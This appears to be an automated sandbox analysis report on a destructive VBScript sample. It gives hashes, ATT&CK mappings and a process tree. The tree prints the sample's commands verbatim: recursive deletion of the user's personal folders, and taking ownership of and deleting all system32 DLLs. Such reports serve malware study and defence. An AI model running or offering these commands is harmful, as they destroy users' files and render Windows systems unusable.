5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8

Analysis

max time kernel
30s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 21:04

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General

Target
script.vbs
Size 1KB
Sample240809-zwj42sshla
SHA256 5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8
MD5 e44a9c187a4e40c2ddb6009af3567919
SHA1 f6b3c56d4eee29799a011e3385e855346c601a23
SHA512 3bc6ba7ac987fe526d0fdcfb70cb3b28acce3b3ae5d71ae92c9fde70404e75182144ab46e7a9c5b0d66c62b5fd045a4108a1784639cc1840104d16dc99db441c
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4784	takeown.exe
2228	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4784	takeown.exe
2228	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	WScript.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4784	takeown.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 3084	3356	WScript.exe	84
PID 3356 wrote to memory of 3084	3356	WScript.exe	84
PID 3356 wrote to memory of 2248	3356	WScript.exe	88
PID 3356 wrote to memory of 2248	3356	WScript.exe	88
PID 3356 wrote to memory of 1184	3356	WScript.exe	90
PID 3356 wrote to memory of 1184	3356	WScript.exe	90
PID 3356 wrote to memory of 2368	3356	WScript.exe	92
PID 3356 wrote to memory of 2368	3356	WScript.exe	92
PID 3356 wrote to memory of 2244	3356	WScript.exe	94
PID 3356 wrote to memory of 2244	3356	WScript.exe	94
PID 3356 wrote to memory of 4232	3356	WScript.exe	96
PID 3356 wrote to memory of 4232	3356	WScript.exe	96
PID 3356 wrote to memory of 4880	3356	WScript.exe	97
PID 3356 wrote to memory of 4880	3356	WScript.exe	97
PID 3356 wrote to memory of 4556	3356	WScript.exe	100
PID 3356 wrote to memory of 4556	3356	WScript.exe	100
PID 4556 wrote to memory of 4784	4556	cmd.exe	102
PID 4556 wrote to memory of 4784	4556	cmd.exe	102
PID 4556 wrote to memory of 2228	4556	cmd.exe	104
PID 4556 wrote to memory of 2228	4556	cmd.exe	104

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"
  2⤵
  PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit
  2⤵
  PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit
  2⤵
  PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit
  2⤵
  PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit
  2⤵
  PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit
  2⤵
  PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit
  2⤵
  PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\*.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4784
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\*.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs

Path C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs
Size 63B
SHA256 f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8
MD5 0e67913dfaa6e19b7f9b2a4d70a639dc
SHA1 23f709f5ccbf4bf460084feb1c5e04208f4d521b
SHA512 c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da
MD5 SHA1 SHA512

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